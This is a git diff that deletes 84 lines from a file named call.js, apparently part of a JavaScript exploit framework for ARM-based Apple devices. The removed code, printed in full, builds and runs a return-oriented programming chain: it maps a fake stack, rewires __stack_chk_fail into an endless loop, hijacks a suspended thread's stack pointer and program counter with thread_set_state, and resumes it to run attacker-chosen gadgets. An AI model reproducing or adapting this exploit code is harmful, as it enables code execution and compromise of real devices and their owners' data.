1 files changed, 0 insertions, 84 deletions
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index 74a20d8..6d4ced6 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -330,88 +330,4 @@ function scall() {
 		}
 		return call4arg.apply(this, args_to_pass);
 	}
-}
-
-function rop_init() {
-	stack_shit_rop = scall("mmap", 0, 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
-}
-
-function exec_rop(buf) {
-	/*
-	 *  setup ptrs
-	 */
-	write_u32(countptr, count);
-	write_u32(thptr, th);
-	write_u32(threadptr, thread);
-	write_u32(thread_stateptr, thread_state);
-
-	write_u32(countptrptr, countptr);
-	write_u32(thptrptr, thptr);
-	write_u32(threadptrptr, threadptr);
-	write_u32(thread_stateptrptr, thread_stateptr);	
-
-	var dyld_shc_slide = get_dyld_shc_slide();
-
-	/*
-	 *  make __stack_chk_fail infinite loop
-	 *  (works by setting its lazy addy to its resolver, thus the resolver just
-	 *   endlessly jumps to iself)
-	 */
-	write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide);
-
-	if (stack_shit_rop == 0) {
-		rop_init();
-	}
-
-	calls4arg("printf", sptr("%x %x\n"), 0, stack_shit_rop, 0);
-
-	/*
-	 *  if the thread doesn't exist, create it.
-	 */
-	calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0);
-	thread = read_u32(threadptr);
-	write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
-	rth = read_u32(th);
-	calls4arg("thread_suspend", rth, 0, 0, 0);
-
-	if (pthread_ret == 0) {
-		pthread_ret = malloc(4);
-	}
-
-	write_u32_buf(stack_shit_rop + 0x3c, buf, buf.length * 4);
-
-	/*
-
-	var stack_shit_ret_offset = 0x58;
-
-	write_u32(stack_shit + stack_shit_ret_offset, pthread_exit + dyld_shc_slide);
-	 */
-
-	/*
-	 *  stack
-	 */
-	write_u32(thread_state + (13 << 2), stack_shit_rop);
-
-	/*
-	 *  pc
-	 */
-	write_u32(thread_state + (15 << 2), add_sp_0x3c + dyld_shc_slide);
-
-	/*
-	 *  cpsr, magic
-	 */
-	write_u32(thread_state + (16 << 2), 0x40000020);
-
-	printf("actually doing it\n");
-
-	/*
-	 *  set the state
-	 */
-	calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
-	calls4arg("thread_resume", rth, 0, 0, 0);
-
-	calls4arg("pthread_join", thread, pthread_ret, 0, 0);
-	write_u32(count, 17);
-	calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
-	return read_u32(pthread_ret);
 }
 \ No newline at end of file